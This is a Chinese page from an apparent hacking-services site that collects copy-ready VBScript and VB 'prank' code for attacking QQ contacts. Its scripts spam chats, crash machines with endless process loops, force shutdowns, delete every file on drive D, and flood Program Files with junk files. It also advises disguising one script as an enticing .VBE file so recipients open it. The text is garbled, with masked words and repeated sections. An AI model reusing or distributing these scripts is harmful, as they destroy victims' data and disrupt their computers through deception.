当前位置:首页 > 黑客技术 > 正文内容

手机qq恶搞代码大全可复制(手机代码大全恶作剧)

hacker2年前 (2022-06-30)黑客技术914

本文目录一览:

我要 *** 聊天的恶搞代码

首先你在要建一个文本文档(在桌面点右键

新建

文本文档)把下面的你想要的代码复制

到文本文档

保存

把名字

txt

改成

vbs

OK

vbs

整人代码大 ***

一、

你打开好友的聊天对话框

然后记下在你

***

里好友的昵称

把下面代码里的

xx

替换一下

就可以自定义发送

***

信息到好友的次数

代码里的数字

10

改一下即可

xx.vbs=

On Error Resume Next

Dim wsh,ye

set wsh=createobject("wscript.shell")

for i=1 to 10

wscript.sleep 700

wsh.AppActivate("

xx

聊天中

wsh.sendKeys "^v"

wsh.sendKeys i

wsh.sendKeys "%s"

next

wscript.quit

***

骚扰信息

也可以用在其它程序上。

二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈

do

msgbox "You are foolish!"

loop

三、打开无数个计算器,直到死机

set wsh=createobject("wscript.shell")

do

wsh.run "calc"

loop

四、直接关机

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

五、删除

D:\

所有文件

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

六、不断弹出窗口

while(1)

msgbox "

哈哈

你被耍了!

loop

七、不断按下

alt+f4

(开什么都关闭„„)

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

loop

八、按

500

次回车

以上代码在运行者的电脑上显示

500

个对话框。其中

do until s=500

500

可以随意更改

dim s

do until s=500

s=s+1

msgbox "

哥们,给我按

500

次回车吧

",64

loop

九、关不掉的窗口

WScript.Echo("

嘿,谢谢你打开我哦,我等你很久

拉!

"TSName)

WScript.Echo("

你是可爱的小朋吗

WScript.Echo("

我想你拉,这你都不知道吗?

[color=#FF0000]

复制以这个代码,在桌面建一个文本,把代码放进去,另存为

VBS

格式,

此代码的威力:

1

:开机就强制自动关机

2

cmd

命令打不开

3

:结束任务不管用

4

F8

安全模式也不管用

呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、

代码破解 *** :就是再运行一次,就可以破解了,也就是第

2

次保存的那个

VBE

文件,

PS

:不要乱拿软件去整人,发生什么事可不要怪我啊。

拍拍手

顶起吧!

恐怖啊

整人

小心用

Private Sub Form_Load()

Me.Hide

End Sub

Private Sub Timer1_Timer()

声明变量,其中“

count

”为静态变量,以便生成不同的文件

Dim files As String

Dim nr As String

Dim c As String

Static count As Long

定义要把生成的文件存放在那个目录文件下

c = "C:\Program Files\"

生成文件的内容

nr = "

哈哈,被黑的感觉的不错吧

files = FreeFile

如果

a

等于

a

那么就执行

If a = a Then

'count

不断的加

1

,以便产生不同的文件名

count = count + 1

产生文件名及文件句柄,并用

count

作为产生不同的文件名。

Open c "system" count ".dll" For Append As #files

向文件写内容

Write #files, nr

清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示

Close #files

End If

End Sub

手机qq整人代码

之一步,将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)

如果谁运行了这个 *** 炸弹,在30秒后会自动关机。

下面说一下使用 *** :

最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。

还有个更加恶毒的,不在线的 *** 好友你可以向他们发送 *** 离线文件,几乎80%的人都会好奇这个文件是什么,糊里糊涂就打开了。 打开以后就被 *** 炸弹恶搞了

你自己也可以测试一下这个 *** 炸弹的威力。

手机qq整人代码大全谁有? 发一下 谢谢

之一步,将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)

如果谁运行了这个 *** 炸弹,在30秒后会自动关机。

下面说一下使用 *** :

最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊!")

WScript.Echo("推荐你来的肯定是个坏蛋!")

WScript.Echo("欢迎来到被整软件站!")

WScript.Echo("是谁设计的?")

WScript.Echo("Is me")

WScript.Echo("你好,你要点30次确定哦!")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

手机 *** 的整人代码大全

之一步,将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)

如果谁运行了这个 *** 炸弹,在30秒后会自动关机。

下面说一下使用 *** :

最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。

WScript.Echo("谁令你打开这个软件的")

WScript.Echo("这个软件会让你无聊啊!")

WScript.Echo("推荐你来的肯定是个坏蛋!")

WScript.Echo("欢迎来到被整软件站!")

WScript.Echo("是谁设计的?")

WScript.Echo("Is me")

WScript.Echo("你好,你要点30次确定哦!")

WScript.Echo("1")

WScript.Echo("2")

WScript.Echo("3")

WScript.Echo("begin")

qq红包整人代码5963515

之一步,将以下代码复制到记事本中。

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true

dim a

do while(a "潮流哥特")

a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。 *** 是把上面的“ *** 客是好网站”改成“快说我爱你” 内容来自

第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)

如果谁运行了这个 *** 炸弹,在30秒后会自动关机。

下面说一下使用 *** :

最简单的使用 *** 是,你直接发给好友,让他运行,然后他就中招了。

还有个更加恶毒的,不在线的 *** 好友你可以向他们发送 *** 离线文件,几乎80%的人都会好奇这个文件是什么,糊里糊涂就打开了。 打开以后就被 *** 炸弹恶搞了

你自己也可以测试一下这个 *** 炸弹的威力。

qq装x代码

qq群装x代码复制是可以随时分享好玩的一些恶搞的代码,让大家都可以和好友有一个可以分享的社区,都是很有趣的,通过不同的设备进行分享,消息都可以同步可见,很好玩的。

qq群装x代码复制app特色:

1、可以直接使用竖名大全可复制,帮你直接生成竖起来的网名,可以用到各个软件上哦。

2、不管是游戏当中还是社交软件上面都可以,让你成为人群中最靓的那个崽,还有很多特殊符号大家可以关注一下。

qq群装x代码复制功能:

1、一键可以生成能召唤火影忍者的代码,非常的炫酷点击进去就有对应的代码。

2、如果是不热门的代码,回到主页,点击自己喜欢的代码即可。

软件点评:

1、这个工具的功能也是比较有意思和强大的,你可以自由的选择的。

2、可以让用户直接能拥有各种功能代码的生成器软件。

扫描二维码推送至手机访问。

版权声明:本文由黑客24小时在线接单网站发布,如需转载请注明出处。

本文链接:https://www.cn-sl.com/136695.html

分享给朋友:

“手机qq恶搞代码大全可复制(手机代码大全恶作剧)” 的相关文章

英镑最新消息 「工行英镑对人民币汇率」

依据 外国银止最新的中汇牌价: 一英镑英磅,尔要的是最新的,计较 的。 泉币 兑换 一英镑= 八点 八 六 六 六群众币元 一群众币元,外国」的经济才是主宰偏向 尔没有是英镑博野,远一二年的空儿内,招商银止,比兑群众币,当然是越低越孬,依据 本日 南京空儿 一 四: 一 八分更新最新中汇牌价: 一群...

红旗h9+加长版价格(红旗h9加长礼宾版长6米)

其订价 预计跨越  三00万元群众币。设计没了一套科技感谦谦的解决圆案+级商场的标杆车型,否以。智能化。尾付 一 六万元阁下 ,购买 税战担保金等月求 八集皂阁下 。最年夜 罪率 三 三 七峰值扭矩 三 八0N·预计婚配,点 二万元阁下 。详细 用度 依据 车型以到店核算为准。 红旗L 九设计定位为...

记账卡etc怎么缴费(记账卡etc需要充值吗)

ETC扣费问信 Q 一:节沐日 下速收费通止却发生 扣费? 收费通止仅 对于 七座及如下载客车辆,如你是 七座以上则一般支费; 没下速空儿未没有正在收费空儿段,好比  二0 二 一年明朗 收费通止空儿是 二0 二 一年 四月 三日0时至 四月 五日 二 四时,你正在收费空儿内上下速,但高下速是...

关于南极怪兽的电影

 一 九 五 八年 二月 一 三日下昼  一 七:00阁下 ,载有日原北极考查 队的“宗谷”在北极远洋的吕佐妇-霍我姆湾航止,忽然 有舟员年夜 喊“哥斯推”,由于  一 九 五 四年时日原东宝股份有限公司 制造 的怪兽片子 《哥斯推》曾经著名 于世, 对于没有亮年夜 型怪物喊没“哥斯推”长短 常天然...

毕福剑怎么了(朱军现在干什么)

倪萍 杨澜 杨澜 赵奸祥悲悼 会 赵奸祥悲悼 会 赵奸祥悲悼 会 赵奸祥悲悼 会 网难文娱 一月 二0日报导 一月 二0日上午,有名 主持人赵奸祥尸体 离别 典礼 正在南京八宝山举办 。杨澜、毕祸剑、马已皆、墨军、倪萍、杨澜、周涛、李瑞英等现身吊唁 。...

胡桃夹子是什么东西(胡桃夹子这首歌的含义)

一提到“胡桃夹子”,便恍如看到了 纷飞的雪花、斑斓的彩灯、 心爱的私仔、扭转 着的图图裙 ...... 那是一个充斥 梦幻气味 的名字, 也是一个无论年夜 人小孩 皆可以或许 深深邃深挚 迷个中 的童话小说。 而闭于《胡桃夹子》, 有太多的体式格局让人忘住! 德国有名 做野霍妇曼的...

评论列表

青迟未芩
2年前 (2022-07-01)

〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓五、删除D:\所有文件------------------------------------------------------------------

美咩榆西
2年前 (2022-06-30)

----------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscrip

断渊山柰
2年前 (2022-07-01)

--- 〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓三、打开无数个计算器,直到死机---------------------------

囤梦猫爷
2年前 (2022-06-30)

的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs= =---------------------------------------

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。